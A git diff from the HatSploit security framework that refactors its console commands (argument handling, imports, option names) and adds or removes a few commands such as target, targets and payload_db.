             'Authors': [
@@ -26,31 +21,33 @@ def __init__(self):
             'MinArgs': 0,
         })
 
+        self.modules = Modules()
+        self.show = Show()
+
     def collect_categories(self):
         modules = self.modules.get_modules()
         categories = []
 
         if modules:
-            for database in sorted(modules):
-                for module in sorted(modules[database]):
-                    category = modules[database][module]['Category']
+            for module in sorted(modules):
+                category = modules[module]['Category']
 
-                    if category not in categories:
-                        categories.append(category)
+                if category not in categories:
+                    categories.append(category)
 
         return categories
 
-    def rpc(self, *args):
+    def rpc(self, *_):
         return self.modules.get_modules()
 
-    def run(self, argc, argv):
+    def run(self, args):
         categories = self.collect_categories()
 
-        if argc > 1:
-            if argv[1] in categories:
-                self.show.show_modules(self.modules.get_modules(), argv[1])
+        if len(args) > 1:
+            if args[1] in categories:
+                self.show.show_modules(self.modules.get_modules(), args[1])
             else:
                 self.print_error("Invalid module category!")
-                self.print_information(f"Available categories: {str(categories)}")
+                self.print_information(f"Available categories: {', '.join(categories)}")
         else:
             self.show.show_modules(self.modules.get_modules())
diff --git a/hatsploit/commands/options.py b/hatsploit/commands/options.py
index ed1de6687..bf4bfd83a 100755
--- a/hatsploit/commands/options.py
+++ b/hatsploit/commands/options.py
@@ -3,19 +3,14 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.command import Command
-from hatsploit.lib.modules import Modules
-from hatsploit.lib.show import Show
+from badges.cmd import Command
+from hatsploit.lib.ui.modules import Modules
+from hatsploit.lib.ui.show import Show
 
 
-class HatSploitCommand(Command):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.show = Show()
-        self.modules = Modules()
-
-        self.details.update({
+        super().__init__({
             'Category': "modules",
             'Name': "options",
             'Authors': [
@@ -26,8 +21,11 @@ def __init__(self):
             'MinArgs': 0,
         })
 
-    def rpc(self, *args):
+        self.show = Show()
+        self.modules = Modules()
+
+    def rpc(self, *_):
         return self.modules.get_current_options()
 
-    def run(self, argc, argv):
+    def run(self, _):
         self.show.show_options(self.modules.get_current_module())
diff --git a/hatsploit/commands/payload_db.py b/hatsploit/commands/payload_db.py
deleted file mode 100755
index 34e77589b..000000000
--- a/hatsploit/commands/payload_db.py
+++ /dev/null
@@ -1,73 +0,0 @@
-"""
-This command requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.core.db.builder import Builder
-from hatsploit.core.db.db import DB
-from hatsploit.lib.command import Command
-from hatsploit.lib.show import Show
-
-
-class HatSploitCommand(Command):
-    def __init__(self):
-        super().__init__()
-
-        self.db = DB()
-        self.builder = Builder()
-        self.show = Show()
-
-        self.details.update({
-            'Category': "databases",
-            'Name': "payload_db",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - command developer',
-            ],
-            'Description': "Manage payload databases.",
-            'Usage': "payload_db <option> [arguments]",
-            'MinArgs': 1,
-            'Options': {
-                '-l': ['', "List all connected payload databases."],
-                '-d': ['<name>', "Disconnect specified payload database."],
-                '-c': ['<name> <path>', "Connect new payload database."],
-                '-b': [
-                    '<path> <output_path>',
-                    "Build payload database from payloads path.",
-                ],
-            },
-        })
-
-    def rpc(self, *args):
-        if len(args) < 1:
-            return
-
-        if args[0] == 'list':
-            return self.db.get_payload_databases()
-
-        elif args[0] == 'disconnect':
-            if len(args) >= 2:
-                self.db.disconnect_payload_database(args[1])
-
-        elif args[0] == 'build':
-            if len(args) >= 3:
-                self.builder.build_payload_database(args[1], args[2])
-
-        elif args[0] == 'connect':
-            if len(args) >= 3:
-                self.db.connect_payload_database(args[1], args[2])
-
-    def run(self, argc, argv):
-        choice = argv[1]
-
-        if choice == '-l':
-            self.show.show_payload_databases(
-                self.db.get_payload_databases())
-
-        elif choice == '-d':
-            self.db.disconnect_payload_database(argv[2])
-
-        elif choice == '-b':
-            self.builder.build_payload_database(argv[2], argv[3])
-
-        elif choice == '-c':
-            self.db.connect_payload_database(argv[2], argv[3])
diff --git a/hatsploit/commands/payloads.py b/hatsploit/commands/payloads.py
index e6194351b..d3822527a 100755
--- a/hatsploit/commands/payloads.py
+++ b/hatsploit/commands/payloads.py
@@ -3,19 +3,14 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.command import Command
-from hatsploit.lib.payloads import Payloads
-from hatsploit.lib.show import Show
+from badges.cmd import Command
+from hatsploit.lib.ui.payloads import Payloads
+from hatsploit.lib.ui.show import Show
 
 
-class HatSploitCommand(Command):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.payloads = Payloads()
-        self.show = Show()
-
-        self.details.update({
+        super().__init__({
             'Category': "modules",
             'Name': "payloads",
             'Authors': [
@@ -26,8 +21,11 @@ def __init__(self):
             'MinArgs': 0,
         })
 
-    def rpc(self, *args):
+        self.payloads = Payloads()
+        self.show = Show()
+
+    def rpc(self, *_):
         return self.payloads.get_payloads()
 
-    def run(self, argc, argv):
+    def run(self, _):
         self.show.show_payloads(self.payloads.get_payloads())
diff --git a/hatsploit/commands/plugin_db.py b/hatsploit/commands/plugin_db.py
deleted file mode 100755
index 976847af2..000000000
--- a/hatsploit/commands/plugin_db.py
+++ /dev/null
@@ -1,70 +0,0 @@
-"""
-This command requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.core.db.builder import Builder
-from hatsploit.core.db.db import DB
-from hatsploit.lib.command import Command
-from hatsploit.lib.show import Show
-
-
-class HatSploitCommand(Command):
-    def __init__(self):
-        super().__init__()
-
-        self.db = DB()
-        self.builder = Builder()
-        self.show = Show()
-
-        self.details.update({
-            'Category': "databases",
-            'Name': "plugin_db",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - command developer',
-            ],
-            'Description': "Manage plugin databases.",
-            'Usage': "plugin_db <option> [arguments]",
-            'MinArgs': 1,
-            'Options': {
-                '-l': ['', "List all connected plugin databases."],
-                '-d': ['<name>', "Disconnect specified plugin database."],
-                '-c': ['<name> <path>', "Connect new plugin database."],
-                '-b': ['<path> <output_path>', "Build plugin database from plugins path."],
-            },
-        })
-
-    def rpc(self, *args):
-        if len(args) < 1:
-            return
-
-        if args[0] == 'list':
-            return self.db.get_plugin_databases()
-
-        elif args[0] == 'disconnect':
-            if len(args) >= 2:
-                self.db.disconnect_plugin_database(args[1])
-
-        elif args[0] == 'build':
-            if len(args) >= 3:
-                self.builder.build_plugin_database(args[1], args[2])
-
-        elif args[0] == 'connect':
-            if len(args) >= 3:
-                self.db.connect_plugin_database(args[1], args[2])
-
-    def run(self, argc, argv):
-        choice = argv[1]
-
-        if choice == '-l':
-            self.show.show_plugin_databases(
-                self.db.get_plugin_databases())
-
-        elif choice == '-d':
-            self.db.disconnect_plugin_database(argv[2])
-
-        elif choice == '-b':
-            self.builder.build_plugin_database(argv[2], argv[3])
-
-        elif choice == '-c':
-            self.db.connect_plugin_database(argv[2], argv[3])
diff --git a/hatsploit/commands/plugins.py b/hatsploit/commands/plugins.py
index ef2b843b0..0fa68ed26 100755
--- a/hatsploit/commands/plugins.py
+++ b/hatsploit/commands/plugins.py
@@ -3,19 +3,14 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.command import Command
-from hatsploit.lib.plugins import Plugins
-from hatsploit.lib.show import Show
+from badges.cmd import Command
+from hatsploit.lib.ui.plugins import Plugins
+from hatsploit.lib.ui.show import Show
 
 
-class HatSploitCommand(Command):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.show = Show()
-        self.plugins = Plugins()
-
-        self.details.update({
+        super().__init__({
             'Category': "plugins",
             'Name': "plugins",
             'Authors': [
@@ -26,8 +21,11 @@ def __init__(self):
             'MinArgs': 0,
         })
 
-    def rpc(self, *args):
+        self.show = Show()
+        self.plugins = Plugins()
+
+    def rpc(self, *_):
         return self.plugins.get_plugins()
 
-    def run(self, argc, argv):
+    def run(self, _):
         self.show.show_plugins(self.plugins.get_plugins())
diff --git a/hatsploit/commands/pyshell.py b/hatsploit/commands/pyshell.py
index 614dbb1ae..2131ba157 100755
--- a/hatsploit/commands/pyshell.py
+++ b/hatsploit/commands/pyshell.py
@@ -24,14 +24,12 @@
 
 import platform
 
-from hatsploit.lib.command import Command
+from badges.cmd import Command
 
 
-class HatSploitCommand(Command):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "developer",
             'Name': "pyshell",
             'Authors': [
@@ -42,12 +40,12 @@ def __init__(self):
             'MinArgs': 0,
         })
 
-    def run(self, argc, argv):
+    def run(self, _):
         self.print_information(f"Python {platform.python_version()} console")
         self.print_empty()
 
         while True:
-            code = self.input_empty("%bold>>> %end")
+            code = input(">>> ")
 
             if "exit" in code or "quit" in code:
                 return
diff --git a/hatsploit/commands/repeat.py b/hatsploit/commands/repeat.py
index d0198d6f2..53b96c572 100755
--- a/hatsploit/commands/repeat.py
+++ b/hatsploit/commands/repeat.py
@@ -3,17 +3,12 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.command import Command
-from hatsploit.lib.commands import Commands
+from badges.cmd import Command
 
 
-class HatSploitCommand(Command):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.commands = Commands()
-
-        self.details.update({
+        super().__init__({
             'Category': "developer",
             'Name': "repeat",
             'Authors': [
@@ -24,11 +19,9 @@ def __init__(self):
             'MinArgs': 2,
         })
 
-    def run(self, argc, argv):
-        if argv[1].isdigit():
-            commands = self.format_commands(argv[2])
-
-            for _ in range(int(argv[1])):
-                self.commands.execute_command(commands)
+    def run(self, args):
+        if args[1].isdigit():
+            for _ in range(int(args[1])):
+                self.console.onecmd(' '.join(args[2:]))
         else:
             self.print_error("Times expected!")
diff --git a/hatsploit/commands/rpc.py b/hatsploit/commands/rpc.py
index 37806041e..9a34f1b8b 100644
--- a/hatsploit/commands/rpc.py
+++ b/hatsploit/commands/rpc.py
@@ -3,19 +3,15 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
+from badges.cmd import Command
+from hatsploit.lib.ui.jobs import Jobs
 from hatsploit.core.utils.rpc import RPC
-from hatsploit.lib.command import Command
-from hatsploit.lib.jobs import Jobs
 from pex.proto.tcp import TCPTools
 
 
-class HatSploitCommand(Command, TCPTools):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.jobs = Jobs()
-
-        self.details.update({
+        super().__init__({
             'Category': "developer",
             'Name': "rpc",
             'Authors': [
@@ -30,17 +26,19 @@ def __init__(self):
             },
         })
 
-    def run(self, argc, argv):
-        if argv[1] == 'on':
-            if not self.check_tcp_port('127.0.0.1', argv[2]):
+        self.jobs = Jobs()
+
+    def run(self, args):
+        if args[1] == 'on':
+            if not TCPTools().check_tcp_port('127.0.0.1', args[2]):
                 rpc = RPC(
-                    host='127.0.0.1', port=argv[2]
+                    host='127.0.0.1', port=args[2]
                 )
 
-                self.print_success(f"RPC server started on port {argv[2]}!")
-                self.jobs.create_job(f"RPC on port {argv[2]}", "", rpc.run)
+                self.print_success(f"RPC server started on port {args[2]}!")
+                self.jobs.create_job(f"RPC on port {args[2]}", "", rpc.run)
             else:
                 self.print_error(f"Failed to start RPC server!")
 
-        elif argv[1] == 'off':
+        elif args[1] == 'off':
             pass
diff --git a/hatsploit/commands/run.py b/hatsploit/commands/run.py
index c35bea222..c33cce537 100755
--- a/hatsploit/commands/run.py
+++ b/hatsploit/commands/run.py
@@ -3,23 +3,16 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.command import Command
-from hatsploit.lib.modules import Modules
-from hatsploit.lib.jobs import Jobs
+from badges.cmd import Command
+from hatsploit.lib.ui.modules import Modules
+from hatsploit.lib.ui.jobs import Jobs
 from hatsploit.lib.runtime import Runtime
-from hatsploit.lib.sessions import Sessions
+from hatsploit.lib.ui.sessions import Sessions
 
 
-class HatSploitCommand(Command):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.modules = Modules()
-        self.sessions = Sessions()
-        self.runtime = Runtime()
-        self.jobs = Jobs()
-
-        self.details.update({
+        super().__init__({
             'Category': "modules",
             'Name': "run",
             'Authors': [
@@ -29,19 +22,24 @@ def __init__(self):
             'Usage': "run [option]",
             'MinArgs': 0,
             'Options': {
-                '-j': ['', "Run current module as a background job."],
-                '-c': ['', "Run current module in cycle."],
+                'job': ['', "Run current module as a background job."],
+                'cycle': ['', "Run current module in cycle."],
             },
         })
 
-    def run(self, argc, argv):
+        self.modules = Modules()
+        self.sessions = Sessions()
+        self.runtime = Runtime()
+        self.jobs = Jobs()
+
+    def run(self, args):
         module = self.modules.get_current_module()
 
         if not module:
             self.print_warning("No module selected.")
             return
 
-        if argc > 1 and argv[1] == '-j':
+        if len(args) > 1 and args[1] == '-j':
             self.print_process("Running module as a background job...")
 
             self.sessions.disable_auto_interaction()
@@ -49,20 +47,20 @@ def run(self, argc, argv):
 
             job_id = self.jobs.count_jobs()
 
-            if argc > 2 and argv[2] == '-c':
+            if len(args) > 2 and args[2] == '-c':
                 self.print_process("Requesting module to run in cycle...")
 
                 self.jobs.create_job(
-                    module.details['Name'],
-                    module.details['Module'],
+                    module.info['Name'],
+                    module.info['Module'],
                     self.modules.run_current_module,
                     [True, self.runtime.catch],
                 )
 
             else:
                 self.jobs.create_job(
-                    module.details['Name'],
-                    module.details['Module'],
+                    module.info['Name'],
+                    module.info['Module'],
                     self.modules.run_current_module,
                     [False, self.runtime.catch],
                 )
@@ -70,20 +68,20 @@ def run(self, argc, argv):
             self.print_information(
                 f"Module started as a background job {str(job_id)}."
             )
-        elif argc > 1 and argv[1] == '-c':
+        elif len(args) > 1 and args[1] == '-c':
             self.print_process("Requesting module to run in cycle...")
 
             self.sessions.disable_auto_interaction()
             self.print_warning("Disabled auto interaction with sessions.")
 
-            if argc > 2 and argv[2] == '-j':
+            if len(args) > 2 and args[2] == '-j':
                 self.print_process("Running module as a background job...")
 
                 job_id = self.jobs.count_jobs()
 
                 self.jobs.create_job(
-                    module.details['Name'],
-                    module.details['Module'],
+                    module.info['Name'],
+                    module.info['Module'],
                     self.modules.run_current_module,
                     [True, self.runtime.catch]
                 )
diff --git a/hatsploit/commands/search.py b/hatsploit/commands/search.py
index 0b9906cac..c6f30a99d 100755
--- a/hatsploit/commands/search.py
+++ b/hatsploit/commands/search.py
@@ -3,26 +3,18 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.command import Command
-from hatsploit.lib.show import Show
+from badges.cmd import Command
+from hatsploit.lib.ui.show import Show
 
-from hatsploit.lib.modules import Modules
-from hatsploit.lib.payloads import Payloads
-from hatsploit.lib.encoders import Encoders
-from hatsploit.lib.plugins import Plugins
+from hatsploit.lib.ui.modules import Modules
+from hatsploit.lib.ui.payloads import Payloads
+from hatsploit.lib.ui.encoders import Encoders
+from hatsploit.lib.ui.plugins import Plugins
 
 
-class HatSploitCommand(Command):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.show = Show()
-        self.modules = Modules()
-        self.payloads = Payloads()
-        self.encoders = Encoders()
-        self.plugins = Plugins()
-
-        self.details.update({
+        super().__init__({
             'Category': "core",
             'Name': "search",
             'Authors': [
@@ -33,30 +25,36 @@ def __init__(self):
             'MinArgs': 1,
         })
 
-    def run(self, argc, argv):
-        if argc > 2:
-            if argv[1] == 'modules':
+        self.show = Show()
+        self.modules = Modules()
+        self.payloads = Payloads()
+        self.encoders = Encoders()
+        self.plugins = Plugins()
+
+    def run(self, args):
+        if len(args) > 2:
+            if args[1] == 'modules':
                 self.show.show_search_modules(
-                    self.modules.get_modules(), argv[2])
+                    self.modules.get_modules(), args[2])
 
-            elif argv[1] == 'payloads':
+            elif args[1] == 'payloads':
                 self.show.show_search_payloads(
-                    self.payloads.get_payloads(), argv[2])
+                    self.payloads.get_payloads(), args[2])
 
-            elif argv[1] == 'encoders':
+            elif args[1] == 'encoders':
                 self.show.show_search_encoders(
-                    self.encoders.get_encoders(), argv[2])
+                    self.encoders.get_encoders(), args[2])
 
-            elif argv[1] == 'plugins':
+            elif args[1] == 'plugins':
                 self.show.show_search_plugins(
-                    self.plugins.get_plugins(), argv[2])
+                    self.plugins.get_plugins(), args[2])
             return
 
         self.show.show_search_modules(
-            self.modules.get_modules(), argv[1])
+            self.modules.get_modules(), args[1])
         self.show.show_search_payloads(
-            self.payloads.get_payloads(), argv[1])
+            self.payloads.get_payloads(), args[1])
         self.show.show_search_encoders(
-            self.encoders.get_encoders(), argv[1])
+            self.encoders.get_encoders(), args[1])
         self.show.show_search_plugins(
-            self.plugins.get_plugins(), argv[1])
+            self.plugins.get_plugins(), args[1])
diff --git a/hatsploit/commands/sessions.py b/hatsploit/commands/sessions.py
index 8104d8378..880d527f3 100755
--- a/hatsploit/commands/sessions.py
+++ b/hatsploit/commands/sessions.py
@@ -3,19 +3,14 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.command import Command
-from hatsploit.lib.sessions import Sessions
-from hatsploit.lib.show import Show
+from badges.cmd import Command
+from hatsploit.lib.ui.sessions import Sessions
+from hatsploit.lib.ui.show import Show
 
 
-class HatSploitCommand(Command):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.sessions = Sessions()
-        self.show = Show()
-
-        self.details.update({
+        super().__init__({
             'Category': "sessions",
             'Name': "sessions",
             'Authors': [
@@ -25,34 +20,37 @@ def __init__(self):
             'Usage': "sessions <option> [arguments]",
             'MinArgs': 1,
             'Options': {
-                '-l': ['', "List all opened sessions."],
-                '-i': ['<id>', "Interact with specified session."],
-                '-d': ['<id> <remote_file> <local_path>', "Download file from session."],
-                '-u': ['<id> <local_file> <remote_path>', "Upload file to session."],
-                '-c': ['<id>', "Close specified session."],
-                '--auto-interaction': ['[on|off]', "Interact with session after opening."],
+                'list': ['', "List all opened sessions."],
+                'interact': ['<id>', "Interact with specified session."],
+                'download': ['<id> <remote_file> <local_path>', "Download file from session."],
+                'upload': ['<id> <local_file> <remote_path>', "Upload file to session."],
+                'close': ['<id>', "Close specified session."],
+                'auto-interaction': ['[on|off]', "Interact with session after opening."],
             },
         })
 
-    def run(self, argc, argv):
-        if argv[1] == '-l':
+        self.sessions = Sessions()
+        self.show = Show()
+
+    def run(self, args):
+        if args[1] == 'list':
             self.show.show_sessions(self.sessions.get_sessions())
 
-        elif argv[1] == '-c':
-            self.sessions.close_session(argv[2])
+        elif args[1] == 'close':
+            self.sessions.close_session(args[2])
 
-        elif argv[1] == '-i':
-            self.sessions.interact_with_session(argv[2])
+        elif args[1] == 'interact':
+            self.sessions.interact_with_session(args[2])
 
-        elif argv[1] == '-d':
-            self.sessions.session_download(argv[2], argv[3], argv[4])
+        elif args[1] == 'download':
+            self.sessions.session_download(args[2], args[3], args[4])
 
-        elif argv[1] == '-u':
-            self.sessions.session_upload(argv[2], argv[3], argv[4])
+        elif args[1] == 'upload':
+            self.sessions.session_upload(args[2], args[3], args[4])
 
-        elif argv[1] == '--auto-interaction':
-            if argv[2] == 'on':
+        elif args[1] == 'auto-interaction':
+            if args[2] == 'on':
                 self.sessions.enable_auto_interaction()
 
-            elif argv[2] == 'off':
+            elif args[2] == 'off':
                 self.sessions.disable_auto_interaction()
diff --git a/hatsploit/commands/set.py b/hatsploit/commands/set.py
index dee9c445a..393aff7b1 100755
--- a/hatsploit/commands/set.py
+++ b/hatsploit/commands/set.py
@@ -3,17 +3,13 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.command import Command
-from hatsploit.lib.modules import Modules
+from badges.cmd import Command
+from hatsploit.lib.ui.modules import Modules
 
 
-class HatSploitCommand(Command):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.modules = Modules()
-
-        self.details.update({
+        super().__init__({
             'Category': "modules",
             'Name': "set",
             'Authors': [
@@ -24,11 +20,16 @@ def __init__(self):
             'MinArgs': 2,
         })
 
+        self.modules = Modules()
+
+    def complete(self):
+        return {name: None for name in self.modules.get_current_options()}
+
     def rpc(self, *args):
         if len(args) < 2:
             return
 
-        self.modules.set_current_module_option(args[0].lower(), args[1])
+        self.modules.set_current_module_option(args[0], args[1])
 
-    def run(self, argc, argv):
-        self.modules.set_current_module_option(argv[1].lower(), argv[2])
+    def run(self, args):
+        self.modules.set_current_module_option(args[1], args[2])
diff --git a/hatsploit/commands/sleep.py b/hatsploit/commands/sleep.py
index bf2b62184..ffe5b10ad 100755
--- a/hatsploit/commands/sleep.py
+++ b/hatsploit/commands/sleep.py
@@ -5,17 +5,12 @@
 
 import time
 
-from hatsploit.core.base.execute import Execute
-from hatsploit.lib.command import Command
+from badges.cmd import Command
 
 
-class HatSploitCommand(Command):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.execute = Execute()
-
-        self.details.update({
+        super().__init__({
             'Category': "developer",
             'Name': "sleep",
             'Authors': [
@@ -26,8 +21,8 @@ def __init__(self):
             'MinArgs': 1,
         })
 
-    def run(self, argc, argv):
+    def run(self, args):
         try:
-            time.sleep(float(argv[1]))
+            time.sleep(float(args[1]))
         except ValueError:
             self.print_error("Seconds expected!")
diff --git a/hatsploit/commands/storage.py b/hatsploit/commands/storage.py
deleted file mode 100755
index 02b26694a..000000000
--- a/hatsploit/commands/storage.py
+++ /dev/null
@@ -1,86 +0,0 @@
-"""
-This command requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.command import Command
-from hatsploit.lib.config import Config
-from hatsploit.lib.storage import GlobalStorage
-from hatsploit.lib.storage import LocalStorage
-
-
-class HatSploitCommand(Command):
-    def __init__(self):
-        super().__init__()
-
-        self.config = Config()
-
-        self.storage_path = self.config.path_config['storage_path']
-
-        self.local_storage = LocalStorage()
-        self.global_storage = GlobalStorage(self.storage_path)
-
-        self.details.update({
-            'Category': "developer",
-            'Name': "storage",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - command developer',
-            ],
-            'Description': "Manage storage variables.",
-            'Usage': "storage [global|local] <option> [arguments]",
-            'MinArgs': 2,
-            'Options': {
-                '-l': ['', "List all storage variables."],
-                '-v': ['<name>', "Show specified storage variable value."],
-                '-s': ['<name> <value>', "Set storage variable value."],
-                '-d': ['<name>', "Delete storage variable."],
-            },
-        })
-
-    def run(self, argc, argv):
-        type_of_storage = argv[1]
-
-        if type_of_storage == "global":
-            choice = argv[2]
-            if choice in ['-l', '--list']:
-                self.print_information("Global storage variables:")
-                for variable in self.global_storage.get_all():
-                    if not str.startswith(variable, '__') and not str.endswith(
-                            variable, '__'
-                    ):
-                        self.print_empty("    * " + variable)
-            elif choice in ['-v', '--value']:
-                if argv[3] in self.global_storage.get_all():
-                    self.print_information(
-                        argv[3] + " = " + str(self.global_storage.get(argv[3]))
-                    )
-            elif choice in ['-s', '--set']:
-                self.global_storage.set(argv[3], argv[4])
-            elif choice in ['-d', '--delete']:
-                if argv[3] in self.global_storage.get_all():
-                    self.global_storage.delete(argv[3])
-                else:
-                    self.print_error("Invalid storage variable name!")
-        elif type_of_storage == "local":
-            choice = argv[2]
-            if choice in ['-l', '--list']:
-                self.print_information("Local storage variables:")
-                for variable in self.local_storage.get_all():
-                    if not str.startswith(variable, '__') and not str.endswith(
-                            variable, '__'
-                    ):
-                        self.print_empty("    * " + variable)
-            elif choice in ['-v', '--value']:
-                if argv[3] in self.local_storage.get_all():
-                    self.print_information(
-                        argv[3] + " = " + str(self.local_storage.get(argv[3]))
-                    )
-                else:
-                    self.print_error("Invalid storage variable name!")
-            elif choice in ['-s', '--set']:
-                self.local_storage.set(argv[3], argv[4])
-            elif choice in ['-d', '--delete']:
-                if argv[3] in self.local_storage.get_all():
-                    self.local_storage.delete(argv[3])
-                else:
-                    self.print_error("Invalid storage variable name!")
diff --git a/hatsploit/commands/target.py b/hatsploit/commands/target.py
new file mode 100644
index 000000000..f4e7641e2
--- /dev/null
+++ b/hatsploit/commands/target.py
@@ -0,0 +1,33 @@
+"""
+This command requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from badges.cmd import Command
+from hatsploit.lib.ui.modules import Modules
+
+
+class ExternalCommand(Command):
+    def __init__(self):
+        super().__init__({
+            'Category': "modules",
+            'Name': "target",
+            'Authors': [
+                'Ivan Nikolskiy (enty8080) - command developer',
+            ],
+            'Description': "Set module target if available.",
+            'Usage': "target <id>",
+            'MinArgs': 1,
+        })
+
+        self.modules = Modules()
+
+    def rpc(self, *args):
+        if len(args) < 1:
+            return
+
+        self.modules.set_current_module_target(int(args[0]))
+
+    def run(self, args):
+        if not self.modules.set_current_module_target(int(args[1])):
+            self.print_error(f"Invalid target ID: {args[1]}!")
diff --git a/hatsploit/commands/targets.py b/hatsploit/commands/targets.py
new file mode 100644
index 000000000..a1e31ffc3
--- /dev/null
+++ b/hatsploit/commands/targets.py
@@ -0,0 +1,29 @@
+"""
+This command requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from badges.cmd import Command
+from hatsploit.lib.ui.modules import Modules
+from hatsploit.lib.ui.show import Show
+
+
+class ExternalCommand(Command):
+    def __init__(self):
+        super().__init__({
+            'Category': "modules",
+            'Name': "targets",
+            'Authors': [
+                'Ivan Nikolskiy (enty8080) - command developer',
+            ],
+            'Description': "Display available module targets.",
+            'Usage': "targets",
+            'MinArgs': 0,
+        })
+
+        self.modules = Modules()
+        self.show = Show()
+
+    def run(self, _):
+        self.show.show_module_targets(
+            self.modules.get_current_module())
diff --git a/hatsploit/commands/tip.py b/hatsploit/commands/tip.py
index ccbfdd6a8..e5056a0d3 100755
--- a/hatsploit/commands/tip.py
+++ b/hatsploit/commands/tip.py
@@ -4,16 +4,12 @@
 """
 
 from hatsploit.core.utils.ui.tip import Tip
-from hatsploit.lib.command import Command
+from badges.cmd import Command
 
 
-class HatSploitCommand(Command):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.tip = Tip()
-
-        self.details.update({
+        super().__init__({
             'Category': "misc",
             'Name': "tip",
             'Authors': [
@@ -24,5 +20,5 @@ def __init__(self):
             'MinArgs': 0,
         })
 
-    def run(self, argc, argv):
-        self.tip.print_random_tip()
+    def run(self, _):
+        Tip().print_random_tip()
diff --git a/hatsploit/commands/unload.py b/hatsploit/commands/unload.py
index 9d1095790..6093ef9ae 100755
--- a/hatsploit/commands/unload.py
+++ b/hatsploit/commands/unload.py
@@ -3,17 +3,13 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.command import Command
-from hatsploit.lib.plugins import Plugins
+from badges.cmd import Command
+from hatsploit.lib.ui.plugins import Plugins
 
 
-class HatSploitCommand(Command):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.plugins = Plugins()
-
-        self.details.update({
+        super().__init__({
             'Category': "plugins",
             'Name': "unload",
             'Authors': [
@@ -24,7 +20,15 @@ def __init__(self):
             'MinArgs': 1,
         })
 
-        self.complete = self.plugins.loaded_plugins_completer
+        self.plugins = Plugins()
+
+    def complete(self):
+        return self.plugins.loaded_plugins_completer()
+
+    def run(self, args):
+        plugin = self.plugins.get_loaded_plugins()[args[1]]
+
+        for command in plugin.commands:
+            self.console.delete_external(command)
 
-    def run(self, argc, argv):
-        self.plugins.unload_plugin(argv[1])
+        self.plugins.unload_plugin(args[1])
diff --git a/hatsploit/commands/unset.py b/hatsploit/commands/unset.py
index bf492bb2b..7f2a517de 100644
--- a/hatsploit/commands/unset.py
+++ b/hatsploit/commands/unset.py
@@ -3,17 +3,13 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.command import Command
-from hatsploit.lib.modules import Modules
+from badges.cmd import Command
+from hatsploit.lib.ui.modules import Modules
 
 
-class HatSploitCommand(Command):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.modules = Modules()
-
-        self.details.update({
+        super().__init__({
             'Category': "modules",
             'Name': "unset",
             'Authors': [
@@ -24,5 +20,7 @@ def __init__(self):
             'MinArgs': 1,
         })
 
-    def run(self, argc, argv):
-        self.modules.set_current_module_option(argv[1].lower())
+        self.modules = Modules()
+
+    def run(self, args):
+        self.modules.set_current_module_option(args[1])
diff --git a/hatsploit/commands/use.py b/hatsploit/commands/use.py
index 93a5d40b7..859c2aa0e 100755
--- a/hatsploit/commands/use.py
+++ b/hatsploit/commands/use.py
@@ -3,17 +3,13 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.command import Command
-from hatsploit.lib.modules import Modules
+from badges.cmd import Command
+from hatsploit.lib.ui.modules import Modules
 
 
-class HatSploitCommand(Command):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.modules = Modules()
-
-        self.details.update({
+        super().__init__({
             'Category': "modules",
             'Name': "use",
             'Authors': [
@@ -24,7 +20,10 @@ def __init__(self):
             'MinArgs': 1,
         })
 
-        self.complete = self.modules.modules_completer
+        self.modules = Modules()
+
+    def complete(self):
+        return self.modules.modules_completer()
 
     def rpc(self, *args):
         if len(args) < 1:
@@ -32,5 +31,21 @@ def rpc(self, *args):
 
         self.modules.use_module(args[0])
 
-    def run(self, argc, argv):
-        self.modules.use_module(argv[1])
+    def run(self, args):
+        module = self.modules.get_current_module()
+
+        if module:
+            for command in module.commands:
+                self.console.delete_external(command)
+
+        self.modules.use_module(args[1])
+
+        module = self.modules.get_current_module()
+        commands = {}
+
+        for command in module.commands:
+            commands[command] = module.commands[command]
+            commands[command]['Method'] = getattr(module, command)
+            commands[command]['Category'] = 'module'
+
+        self.console.add_external(commands)
